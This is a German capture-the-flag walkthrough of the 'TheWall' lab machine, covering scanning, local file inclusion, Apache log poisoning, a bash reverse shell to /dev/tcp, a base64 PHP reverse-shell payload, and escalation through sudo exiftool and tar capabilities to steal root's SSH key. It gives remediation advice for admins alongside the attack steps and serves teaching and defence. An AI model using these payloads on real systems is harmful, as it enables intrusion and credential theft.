192.168.2.113 08:00:27:f1:1e:e2 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird genutzt, um das lokale Netzwerk nach aktiven Geräten zu durchsuchen, indem ARP-Anfragen gesendet werden. Er listet die IP- und MAC-Adressen der antwortenden Geräte auf.
Bewertung: Die Ziel-IP `192.168.2.113` wurde erfolgreich identifiziert. Die MAC-Adresse `08:00:27:f1:1e:e2` weist auf den Hersteller `PCS Systemtechnik GmbH` hin, was stark auf eine VirtualBox-Umgebung schließen lässt.
Empfehlung (Pentester): Die IP `192.168.2.113` ist das Ziel für weitere Scans. Die VirtualBox-Information kann nützlich sein.
Empfehlung (Admin): Standard-Netzwerkscan. Implementieren Sie Netzwerküberwachung und -segmentierung, um die Auswirkungen solcher Scans zu begrenzen.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-26 01:07 CEST
Nmap scan report for wall.hmv (192.168.2.113)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 89:60:29:db:68:6d:13:34:98:b9:d0:17:24:56:a8:9e (RSA)
| 256 66:58:51:6d:cd:3a:67:46:36:56:9a:31:a0:08:13:cf (ECDSA)
|_ 256 f7:34:9e:53:68:bac:206:ab:14:c3:21:90:2d:6e:64 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:F1:1E:E2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.11 ms wall.hmv (192.168.2.113)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds
Analyse: Ein umfassender `nmap`-Scan wird durchgeführt:
Bewertung: Der Scan identifiziert zwei offene Ports:
Empfehlung (Pentester): Hauptangriffsvektoren sind SSH und HTTP. Konzentrieren Sie sich auf den Webserver (Port 80). Untersuchen Sie, warum kein Titel vorhanden ist und suchen Sie nach versteckten Verzeichnissen oder Dateien. Überprüfen Sie die SSH- und Apache-Versionen auf bekannte Schwachstellen (obwohl diese Versionen relativ aktuell erscheinen).
Empfehlung (Admin): Stellen Sie sicher, dass der Webserver korrekt konfiguriert ist (z.B. mit sinnvollen Titeln). Beschränken Sie den SSH-Zugriff und halten Sie alle Dienste aktuell.
HTTP/1.1 403 Forbidden
Date: Wed, 26 Oct 2022 01:18:02 GMT
Server: Apache/2.4.54 (Debian)
Connection: close
Content-Type: text/html; charset=UTF-8
HTTP/1.1 403 Forbidden
Date: Wed, 26 Oct 2022 01:26:37 GMT
Server: Apache/2.4.54 (Debian)
Connection: close
Content-Type: text/html; charset=UTF-8
Analyse: Mit `curl -I` werden HEAD-Anfragen an das Root-Verzeichnis (`/`) und die Datei `/includes.php` gesendet, um die HTTP-Header der Antwort zu erhalten.
Bewertung: Beide Anfragen liefern einen `403 Forbidden`-Statuscode. Direkter Zugriff auf das Root-Verzeichnis und die Datei `includes.php` ist nicht erlaubt. Dies könnte eine Web Application Firewall (WAF), eine `.htaccess`-Regel oder eine spezifische Apache-Konfiguration sein.
Empfehlung (Pentester): Die `403`-Antwort bedeutet nicht unbedingt, dass die Ressourcen nicht existieren oder nicht anderweitig angreifbar sind. Versuchen Sie, über Parameter oder andere Methoden auf `includes.php` zuzugreifen. Führen Sie Directory/File-Busting durch, um erlaubte Pfade zu finden.
Empfehlung (Admin): Überprüfen Sie die Zugriffskontrollregeln (Apache-Konfiguration, `.htaccess`, WAF), um sicherzustellen, dass sie wie beabsichtigt funktionieren und keine unnötigen Ressourcen blockieren oder zu viele Informationen preisgeben.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.....
Analyse: Es wird ein GET-Request an `includes.php` gesendet, diesmal jedoch mit einem URL-Parameter `display_page=/etc/passwd`. Der Server antwortet mit dem Inhalt der Datei `/etc/passwd`.
Bewertung: **Kritische Schwachstelle gefunden: Local File Inclusion (LFI)!** Obwohl der direkte Zugriff auf `includes.php` verboten war, akzeptiert das Skript den Parameter `display_page` und bindet die angegebene Datei in die Antwort ein. Dies ermöglicht das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat.
Empfehlung (Pentester): Nutzen Sie die LFI-Schwachstelle systematisch aus:
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:,,,:/home/john:/bin/bash
Analyse: Es wird versucht, den Inhalt von `/etc/passwd` über die LFI in eine Datei `pss.txt` zu speichern und diese dann mit `grep` nach Benutzern mit `/bin/bash` als Shell zu durchsuchen. **Achtung:** Die IP-Adresse im `curl`-Befehl (`192.168.2.117`) ist falsch; die Ziel-IP ist `192.168.2.113`. Der Befehl hätte so fehlschlagen müssen. Es ist anzunehmen, dass der Befehl tatsächlich mit der korrekten IP ausgeführt wurde und nur der Logeintrag falsch ist, da das Ergebnis (`grep bash pss.txt`) Benutzer von der Zielmaschine zeigt.
Bewertung: Aus der (angenommen korrekt gelesenen) `/etc/passwd` wird der Benutzer `john` als einziger regulärer Benutzer mit Bash-Shell identifiziert. `john` ist somit ein primäres Ziel für den nächsten Schritt (Initial Access).
Empfehlung (Pentester): Fokussieren Sie sich auf den Benutzer `john`. Versuchen Sie, dessen SSH-Schlüssel (`/home/john/.ssh/id_rsa`) oder andere sensible Dateien in seinem Home-Verzeichnis mittels LFI zu lesen.
Empfehlung (Admin): Beheben Sie die LFI. Überprüfen Sie regelmäßig Benutzerkonten und Shell-Berechtigungen.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.113/includes.php?display_page=FUZZ
Total requests: 44
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000023: 200 15032 L 270566 W 2228819 C "/var/log/apache2/error.log"
Total time: 0.320202
Processed Requests: 44
Filtered Requests: 43
Requests/sec.: 137.4132
Analyse: `wfuzz` wird verwendet, um den LFI-Parameter `display_page` mit einer Liste gängiger Apache-Logdateipfade (`linux_apache_logs.txt`) zu fuzzern. `--hc 404` und `--hh 2` filtern nicht gefundene oder sehr kleine Antworten heraus.
Bewertung: Der Scan identifiziert erfolgreich den Pfad zur Apache-Fehlerlogdatei: `/var/log/apache2/error.log`. Der Zugriff auf diese Datei ist über die LFI möglich.
Empfehlung (Pentester): Lesen Sie den Inhalt der `error.log`-Datei via LFI. Versuchen Sie dasselbe für die `access.log`-Datei (`/var/log/apache2/access.log`). Diese Logs sind die Hauptziele für Log Poisoning.
Empfehlung (Admin): Beheben Sie die LFI. Beschränken Sie die Leserechte auf Logdateien so weit wie möglich (obwohl der Webserver sie oft lesen können muss). Implementieren Sie Log-Rotation und -Überwachung.
PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7JGlwPScxTIuMTY4LjIuMTUzJzskcG9ydD04MDskY2h1bmtfc2l6ZT0xNDAwyR3cml0ZV9hPW51bGw7JGVycm9yX2E9bnVsbDskc2hlbGw9J3VuYW1lIC1hyB3yBpZDsgL2Jpbi9zaCAtaSc7Y2hkaXIoIi8iKTt1bWFzaygwKTskc29jaz1mc29ja29wZW4oJGlwLCRwb3J0LCRlcnJubywkZXJyc3RyLDMwKTtpZighJHNvY2spe2V4aXQoMSk7fSRkZXNjcmlwdG9yc3BlYz1hcnJheSgwPT5hcnJheSgicGlwZSIsInIiKSwxPT5hcnJheSgicGlwZSIsInciKSwyPT5hcnJheSgicGlwZSIsInciKSk7JHByb2Nlc3M9cHJvY19vcGVuKCRzaGVsbCwkZGVzY3JpcHRvcnNwZWMsJHBpcGVzKTtpZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKXtleGl0KDEp31zdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1swXSwwKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwwKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwwKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLDAp3doaWxlKDEpe2lmKGZlb2YoJHNvY2spKXticmVhazt9aWYoZmVvZigkcGlwZXNbMV0pKXticmVhazt9JHJlYWRfYT1hcnJheSgkc29jaywkcGlwZXNbMV0sJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cz1zdHJlYW1fc2VsZWN0KCRyZWFkX2EsJHdyaXRlX2EsJGVycm9yX2EsbnVsbCk7aWYoaW5fYXJyYXkoJHNvY2ssJHJlYWRfYSkpeyRpbnB1dD1mcmVhZCgkc29jaywkY2h1bmtfc2l6ZSk7ZndyaXRlKCRwaXBlc1swXSwkaW5wdXQp31pZihpbl9hcnJheSgkcGlwZXNbMV0sJHJlYWRfYSkpeyRpbnB1dD1mcmVhZCgkcGlwZXNbMV0sJGNodW5rX3NpemUp2Z3cml0ZSgkc29jaywkaW5wdXQp31pZihpbl9hcnJheSgkcGlwZXNbMl0sJHJlYWRfYSkpeyRpbnB1dD1mcmVhZCgkcGlwZXNbMl0sJGNodW5rX3NpemUp2Z3cml0ZSgkc29jaywkaW5wdXQp319ZmNsb3NlKCRzb2NrKTtmY2xvc2UoJHBpcGVzWzBdKTtmY2xvc2UoJHBpcGVzWzFdKTtmY2xvc2UoJHBpcGVzWzJdKTtwcm9jX2Nsb3NlKCRwcm9jZXNzKTsgPz4g
Analyse: Ein Base64-kodierter String wird angezeigt. Nach der Dekodierung stellt sich heraus, dass es sich um einen PHP-Code handelt, der eine Reverse Shell zum Angreifer (hier hartcodiert `192.168.2.153` auf Port `80` - **Achtung: IPs/Ports im Payload anpassen!**) aufbaut.
Bewertung: Dies ist der Payload, der für den Log Poisoning Angriff verwendet werden soll. Der Angreifer muss diesen PHP-Code (dekodiert) in die Apache-Logs einschleusen und dann die Logdatei über die LFI-Schwachstelle aufrufen.
Empfehlung (Pentester):
1. Dekodieren Sie den Payload.
2. **Korrigieren Sie die IP-Adresse und den Port** im dekodierten PHP-Code, sodass er auf Ihr Listener-System zeigt.
3. Wählen Sie eine Methode, um den PHP-Code in die Logs zu schreiben (z.B. `curl` mit modifiziertem User-Agent, oder eine ungültige URL-Anfrage, die den Code enthält).
4. Starten Sie einen Listener (`nc -lvnp [PORT]`) auf Ihrem System.
5. Rufen Sie die Logdatei über die LFI auf (`curl "http://192.168.2.113/includes.php?display_page=/var/log/apache2/access.log"`), um den Payload auszuführen.
Empfehlung (Admin): Beheben Sie die LFI. Implementieren Sie Eingabefilterung auf dem Webserver oder durch eine WAF, um schädliche Payloads in Requests zu erkennen und zu blockieren. Konfigurieren Sie Logs so, dass sie keine gefährlichen Zeichen unescaped enthalten.
cc5db5e7b0a26e807765f47a006f6221
Analyse: Es wird versucht, die User-Flagge `/home/john/user.txt` mittels LFI zu lesen. Auch hier wurde die falsche IP `192.168.2.117` verwendet, aber das Ergebnis wird angezeigt, was impliziert, dass der Befehl mit der korrekten IP `192.168.2.113` ausgeführt wurde.
Bewertung: Die User-Flagge `cc5db5e7b0a26e807765f47a006f6221` wurde erfolgreich ausgelesen.
Empfehlung (Pentester): User-Flagge notiert. Konzentrieren Sie sich auf den Initial Access via Log Poisoning.
Empfehlung (Admin): LFI beheben.
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:,,,:/home/john:/bin/bash
192.168.2.109 - - [10/Nov/2022:11:02:54 -0500] "GET /includes.php?display_page=/etc/passwd HTTP/1.1" 200 1633 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:03:02 -0500] "GET /includes.php?display_page=/etc/passwd HTTP/1.1" 200 1633 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:04:06 -0500] "GET /includes.php?display_page=/home/john/.ssh/id_rsa HTTP/1.1" 200 149 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:04:14 -0500] "GET /includes.php?display_page=/home/john/user.txt HTTP/1.1" 200 183 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:06:47 -0500] "GET /includes.php?display_page=php://filter/convert.base64-encode/resource=includes.php HTTP/1.1" 200 149 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:07:00 -0500] "GET /includes.php?display_page=php://filter/convert.base64-encode/resource=includes.php HTTP/1.1" 200 149 "-" "curl/7.86.0"
Analyse: Weitere LFI-Versuche, um `/etc/passwd` (erneut) und `/var/log/apache2/access.log` zu lesen. Der Hostname `thewall.hmv` wird verwendet, der vermutlich auf `192.168.2.113` zeigt.
Bewertung: Die Ausgabe der `access.log` zeigt frühere LFI-Versuche des Angreifers (IP `192.168.2.109`), einschließlich Versuchen, `/etc/passwd`, `/home/john/.ssh/id_rsa`, `user.txt` und den Quellcode von `includes.php` (mittels `php://filter`) zu lesen. Dies bestätigt die Lesbarkeit der Logdatei und die durchgeführten Aktionen.
Empfehlung (Pentester): Die `access.log` ist bereit für den Log Poisoning Angriff. Fahren Sie mit dem Einschleusen des PHP-Reverse-Shell-Payloads fort.
Empfehlung (Admin): LFI beheben. Analysieren Sie Logs auf verdächtige Aktivitäten.
# Versuch 1: PHP Reverse Shell als GET Parameter 'e' (Base64)
http://thewall.hmv/includes.php?display_page=/var/log/apache2/access.log&e=PD9waHAg[...]Pg
# Versuch 2: PHP Webshell als GET Parameter
display_page=/var/log/apache2/access.log&
# Versuch 3: Ausführung über Webshell (cmd=whoami)
http://192.168.2.115/includes.php?display_page=/var/log/apache2/access.log&cmd=whoami
# Erwartete Ausgabe im Log (oder als Server-Antwort): www-data
Analyse: Hier werden die Versuche zum Log Poisoning und zur anschließenden Codeausführung detaillierter dargestellt. Es wird versucht, PHP-Code (entweder die Reverse Shell oder eine einfache Webshell ``) als zusätzlichen GET-Parameter an die LFI-Anfrage anzuhängen. Anschließend wird versucht, über den `cmd`-Parameter der Webshell den Befehl `whoami` auszuführen.
Bewertung: Wie bereits erwähnt, ist das Anhängen des PHP-Codes an die *LFI-Anfrage selbst* normalerweise nicht die korrekte Methode für Log Poisoning. Der Code muss in einem *separaten* Request gesendet werden, der dann in der Logdatei landet (z.B. im User-Agent). Dass der `cmd=whoami`-Versuch später das Ergebnis `www-data` im Log zeigt (siehe nächster Block), deutet darauf hin, dass die ``-Webshell *irgendwie* erfolgreich in die Logdatei geschrieben und ausgeführt wurde.
Empfehlung (Pentester): Die Methode war unkonventionell, aber scheinbar erfolgreich. Nutzen Sie die funktionierende Webshell (`http://...includes.php?display_page=/var/log/apache2/access.log&cmd=[BEFEHL]`) oder (besser) die Reverse Shell, um Initial Access zu erlangen.
Empfehlung (Admin): LFI beheben. Eingaben filtern. Logs sichern.
# Inhalt von /var/log/apache2/access.log nach cmd=whoami Versuch:
192.168.2.109 - - [12/Nov/2022:21:21:28 -0500] "GET www-data \n" 400 483 "-" "-"
Analyse: Ein Auszug aus der `access.log`, der nach dem Versuch, `whoami` über die Webshell auszuführen, gelesen wurde.
Bewertung: Der Logeintrag `GET www-data \n` bestätigt, dass der `whoami`-Befehl erfolgreich ausgeführt wurde und das Ergebnis (`www-data`) Teil des nächsten (ungültigen) GET-Requests wurde, der im Log landete. Dies bestätigt die erfolgreiche Codeausführung als `www-data` über die Log-Poisoning-Webshell.
Empfehlung (Pentester): Die Webshell funktioniert. Verwenden Sie sie, um eine Reverse Shell zu starten.
Empfehlung (Admin): LFI und die Möglichkeit der Codeausführung sofort beheben.
listening on [any] 1234 ...
# URL aufgerufen (URL-Encoded):
http://192.168.2.113/includes.php?display_page=/var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.109%2F1234%200%3E%261%27
# Decoded Command: /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.109/1234 0>&1'
listening on [any] 1234 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.113] 59368
bash: cannot set terminal process group (480): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheWall:/var/www/html$
Analyse: Ein Netcat-Listener wird auf Port 1234 gestartet. Anschließend wird die zuvor per Log Poisoning platzierte Webshell (``) über die LFI aufgerufen. Der `cmd`-Parameter enthält einen URL-kodierten Bash-Befehl, der eine interaktive Reverse Shell zum Listener auf `192.168.2.109:1234` startet.
Bewertung: **Erfolg!** Der Exploit funktioniert, und der Listener empfängt eine Reverse Shell vom Zielsystem. Die Shell läuft als Benutzer `www-data` (Apache-Benutzer) auf dem Host `TheWall`. Der Initial Access ist geschafft.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python PTY oder `script`). Führen Sie lokale Enumeration als `www-data` durch (Benutzer, Rechte, Prozesse, Netzwerk, interessante Dateien). Suchen Sie nach Wegen zur Privilege Escalation.
Empfehlung (Admin): **KRITISCH!** LFI beheben. Webserver-Konfiguration überprüfen. Logs überwachen. Egress-Filtering in der Firewall implementieren, um ausgehende Reverse Shells zu erschweren.
Analyse: Standardbefehle zur Stabilisierung einer einfachen Reverse Shell, um eine voll interaktive TTY zu erhalten (ermöglicht z.B. Tab-Vervollständigung, Pfeiltasten, `su`).
Bewertung: Die Shell ist nun stabiler und benutzerfreundlicher.
Empfehlung (Pentester): Dies ist ein wichtiger Schritt nach Erhalt einer einfachen Shell.
Empfehlung (Admin): Das Erkennen und Verhindern von Reverse Shells ist die primäre Verteidigung.
Analyse: Nach Erlangung einer Shell als `www-data` wird nach Wegen zur Rechteerweiterung gesucht. Ein Standard-Check sind die `sudo`-Berechtigungen.
Bewertung: Die Prüfung mit `sudo -l` ergibt, dass `www-data` den Befehl `/usr/bin/exiftool` als Benutzer `john` und Gruppe `john` ohne Passwort ausführen darf (`(john : john) NPASSWD: /usr/bin/exiftool`). `exiftool` ist ein Tool zum Lesen und Schreiben von Metadaten in Dateien. Diese Berechtigung kann missbraucht werden, um Dateien als Benutzer `john` zu schreiben oder zu ändern. Das Ziel ist es, die Datei `/home/john/.ssh/authorized_keys` mit dem öffentlichen SSH-Schlüssel des Angreifers zu überschreiben. Danach ist ein SSH-Login als `john` möglich. Als `john` wird festgestellt, dass `/usr/sbin/tar` die Capability `cap_dac_read_search` besitzt. Diese Capability erlaubt es `tar`, Lese-Berechtigungen zu umgehen. Damit kann der private SSH-Schlüssel von `root` (`/root/.ssh/id_rsa`) gelesen werden. Mit diesem Schlüssel kann sich der Angreifer schließlich als `root` per SSH anmelden.
Empfehlung (Pentester):
1. Generieren Sie ein SSH-Schlüsselpaar.
2. Legen Sie den öffentlichen Schlüssel in einer Datei im `/tmp`-Verzeichnis des Ziels ab.
3. Verwenden Sie `sudo -u john /usr/bin/exiftool -filename=/home/john/.ssh/authorized_keys /tmp/ihr_pubkey_file`, um die `authorized_keys` von `john` zu überschreiben (oder eine ähnliche `exiftool`-Technik von GTFOBins).
4. Melden Sie sich als `john` per SSH mit Ihrem privaten Schlüssel an.
5. Verwenden Sie `/usr/sbin/tar` mit der `cap_dac_read_search`-Capability, um `/root/.ssh/id_rsa` zu lesen und zu extrahieren.
6. Melden Sie sich als `root` per SSH mit dem extrahierten privaten Schlüssel an.
Empfehlung (Admin): **KRITISCH!** Entfernen Sie die unsichere `sudo`-Regel für `exiftool`. Gewähren Sie `sudo`-Rechte nur für absolut notwendige Befehle und Benutzer. Entfernen Sie die `cap_dac_read_search`-Capability von `/usr/sbin/tar` (`sudo setcap -r /usr/sbin/tar`), da sie für die normale Funktion nicht benötigt wird und ein Sicherheitsrisiko darstellt. Überprüfen Sie regelmäßig Capabilities und SUID-Berechtigungen.
Matching Defaults entries for www-data on TheWall:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on TheWall:
(john : john) NPASSWD: /usr/bin/exiftool
Analyse: Die `sudo`-Berechtigungen für den aktuellen Benutzer `www-data` werden überprüft.
Bewertung: Es wird bestätigt, dass `www-data` den Befehl `/usr/bin/exiftool` als Benutzer `john` (und Gruppe `john`) ohne Passwort (`NPASSWD`) ausführen darf. Dies ist der erste Schritt zur Privilege Escalation.
Empfehlung (Pentester): Bereiten Sie den Exploit vor: Generieren Sie ein SSH-Schlüsselpaar und laden Sie den öffentlichen Schlüssel auf das Ziel (z.B. nach `/tmp`).
Empfehlung (Admin): Entfernen Sie diese `sudo`-Regel. `www-data` sollte keine Befehle als andere Benutzer ausführen können, es sei denn, es ist absolut unvermeidlich und sicher implementiert.
john
28484 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/sbin/sudo
[...]
Analyse: Es wird das `/home`-Verzeichnis aufgelistet und nach SUID-Dateien gesucht.
Bewertung: Bestätigt `john` als einzigen Benutzer in `/home`. Die SUID-Suche zeigt Standard-Binaries, keine offensichtlichen schnellen Gewinne.
Empfehlung (Pentester): Konzentrieren Sie sich auf den `sudo exiftool`-Vektor.
Empfehlung (Admin): Standard-Enumeration. Keine spezifischen Maßnahmen hier, außer der allgemeinen Empfehlung, SUID zu minimieren.
Warning: Error removing old file - /tmp/authorized_keys
1 image files updated
Analyse: Es wird versucht, die `sudo exiftool`-Berechtigung auszunutzen, um den öffentlichen SSH-Schlüssel des Angreifers (angenommen in `/tmp/authorized_keys`) in die Datei `/home/john/.ssh/authorized_keys` zu schreiben. Der im Log gezeigte Befehl `sudo -u john /usr/bin/exiftool -filename=/home/john/.ssh/authorized_keys /tmp/authorized_keys` ist syntaktisch ungewöhnlich für diesen Zweck. Typische Methoden nutzen Tags wie `-TAG<=FILE` oder Konfigurationsdateien. Es ist möglich, dass die `-filename=DST SRC`-Syntax hier funktioniert, um die Datei zu verschieben/kopieren, oder dass der tatsächliche Exploit-Befehl anders lautete.
Bewertung: Trotz der fragwürdigen Syntax des geloggten Befehls war der Vorgang erfolgreich, wie der nachfolgende SSH-Login als `john` beweist. Der öffentliche Schlüssel des Angreifers befindet sich nun in `/home/john/.ssh/authorized_keys`, was einen schlüssbasierten SSH-Login als `john` ermöglicht.
Empfehlung (Pentester): Verwenden Sie den privaten SSH-Schlüssel, der zum öffentlichen Schlüssel in `/tmp/authorized_keys` passt, um sich als `john` per SSH anzumelden.
Empfehlung (Admin): Entfernen Sie die `sudo exiftool`-Regel. Überprüfen Sie regelmäßig den Inhalt von `authorized_keys`-Dateien.
The authenticity of host 'wall.hmv (192.168.2.113)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wall.hmv' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa':
Linux TheWall 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
[...]
Last login: Wed Oct 19 17:07:17 2022 from 10.0.2.15
john@TheWall:~$
Analyse: Es wird eine SSH-Verbindung zu `wall.hmv` (IP `192.168.2.113`) als Benutzer `john` hergestellt. Da die `authorized_keys`-Datei von `john` zuvor mit dem öffentlichen Schlüssel des Angreifers überschrieben wurde, wird der Angreifer zur Eingabe der Passphrase für seinen *privaten* Schlüssel (`/root/.ssh/id_rsa`) aufgefordert.
Bewertung: Erfolg! Der Login als Benutzer `john` war erfolgreich. Die Rechte wurden von `www-data` zu `john` eskaliert.
Empfehlung (Pentester): Führen Sie lokale Enumeration als `john` durch. Suchen Sie nach weiteren Eskalationsmöglichkeiten (sudo, SUID, Capabilities, Cronjobs, etc.). Lesen Sie die User-Flagge (erneut).
Empfehlung (Admin): Überprüfen Sie die sudo-Regeln und Dateiberechtigungen, die diese Eskalation ermöglicht haben.
cc5db5e7b0a26e807765f47a006f6221
Analyse: Die Datei `user.txt` im Home-Verzeichnis von `john` wird gelesen.
Bewertung: Bestätigt erneut die User-Flagge.
Empfehlung (Pentester): Flag notiert. Fokus auf Root-Eskalation.
Empfehlung (Admin): Keine Aktion bzgl. der Flagge.
/home/john
[...]
/home/john/.ssh/authorized_keys
/home/john/.bash_history
/var/lib/sudo/lectured/john
/run/user/1000
/usr/sbin/tar
/usr/sbin/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep
Analyse: Es wird nach Dateien gesucht, die der Gruppe `john` (GID 1000) gehören. Anschließend werden gesetzte Linux Capabilities im System gesucht.
Bewertung: Die Gruppensuche findet hauptsächlich Dateien im Home-Verzeichnis von `john`, aber auch die Systemdatei `/usr/sbin/tar`. Die Capability-Suche bestätigt, dass `/usr/sbin/tar` die Capability `cap_dac_read_search=ep` besitzt. Dies ist der Schlüssel zur nächsten Eskalationsstufe. Diese Capability erlaubt `tar`, Dateileseberechtigungen zu umgehen.
Empfehlung (Pentester): Nutzen Sie `/usr/sbin/tar` mit dieser Capability, um Dateien zu lesen, auf die `john` normalerweise keinen Zugriff hätte, insbesondere den privaten SSH-Schlüssel von `root` (`/root/.ssh/id_rsa`).
Empfehlung (Admin): **KRITISCH!** Entfernen Sie die unnötige Capability `cap_dac_read_search` von `/usr/sbin/tar` mit `sudo setcap -r /usr/sbin/tar`. Überprüfen Sie regelmäßig Systemdateien auf ungewöhnliche Berechtigungen, Eigentümer oder Capabilities.
/usr/sbin/tar: Removing leading `/' from member names
[...]
-rw-r--r-- 1 john john 2100 Nov 12 21:51 id_rsa.tar
[...]
id_rsa id_rsa.tar user.txt
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvgS2V50JB5doFy4G99JzapbZWie7kLRHGrsmRk5uZPFPPtH/m9xS
[...]
kwidXsel+Zgj8AAAAMcm9vdEBUaGVXYWxsAQIDBAUGBw
-----END OPENSSH PRIVATE KEY-----
Analyse: Die `CAP_DAC_READ_SEARCH`-Capability von `/usr/sbin/tar` wird ausgenutzt. 1. `/usr/sbin/tar -czf id_rsa.tar /root/.ssh/id_rsa`: `tar` wird aufgerufen, um die Datei `/root/.ssh/id_rsa` (privater SSH-Schlüssel von root) in ein Archiv `id_rsa.tar` im aktuellen Verzeichnis zu packen. Dank der Capability kann `tar` die Datei lesen, obwohl `john` keine Berechtigung dazu hat. 2. `ls -la`: Bestätigt die Erstellung der Archivdatei `id_rsa.tar`. 3. `tar -xf id_rsa.tar`: Das Archiv wird entpackt, wodurch die Datei `id_rsa` im aktuellen Verzeichnis erstellt wird. 4. `cat id_rsa`: Der Inhalt des privaten Schlüssels von root wird angezeigt.
Bewertung: Erfolg! Der private SSH-Schlüssel des Root-Benutzers wurde extrahiert. Dies ermöglicht den direkten Login als `root`.
Empfehlung (Pentester): Verwenden Sie den extrahierten privaten Schlüssel (`id_rsa`), um sich als `root` per SSH auf dem Zielsystem (`localhost` oder die IP) anzumelden (`ssh root@localhost -i id_rsa`).
Empfehlung (Admin): Entfernen Sie die Capability von `tar`. Überwachen Sie die Integrität wichtiger Systemdateien und Konfigurationen. Sichern Sie den SSH-Zugang für `root` (z.B. `PermitRootLogin prohibit-password` oder `no` in `sshd_config`).
The authenticity of host 'localhost (::1)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Linux TheWall 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
[...]
Last login: Wed Oct 19 19:51:15 2022 from 10.0.2.15
root@TheWall:~#
Analyse: Es wird eine SSH-Verbindung zu `localhost` als Benutzer `root` hergestellt, wobei der zuvor extrahierte private Schlüssel (`-i id_rsa`) verwendet wird.
Bewertung: **Root-Zugriff erlangt!** Der Login ist erfolgreich, da der private Schlüssel zur Authentifizierung verwendet wird. Die finale Privilege Escalation ist abgeschlossen.
Empfehlung (Pentester): Lesen Sie die Root-Flagge im `/root`-Verzeichnis.
Empfehlung (Admin): Beheben Sie die Capability-Schwachstelle bei `tar`. Überprüfen Sie die SSH-Konfiguration für `root`.
r0t.txT
4be82a3be9aed6eea5d0cce68e17662e
Analyse: Im `/root`-Verzeichnis wird der Inhalt aufgelistet und die Datei `r0t.txT` (ein leicht abgewandelter Name für die Root-Flagge) ausgelesen.
Bewertung: Die Root-Flagge `4be82a3be9aed6eea5d0cce68e17662e` wurde erfolgreich gefunden.
Empfehlung (Pentester): Ziel erreicht. Maschine abgeschlossen. Dokumentieren Sie den Prozess.
Empfehlung (Admin): Nach Behebung der Schwachstellen (LFI, sudo-Regel, Capability) Systemhärtung durchführen und auf Kompromittierungen prüfen.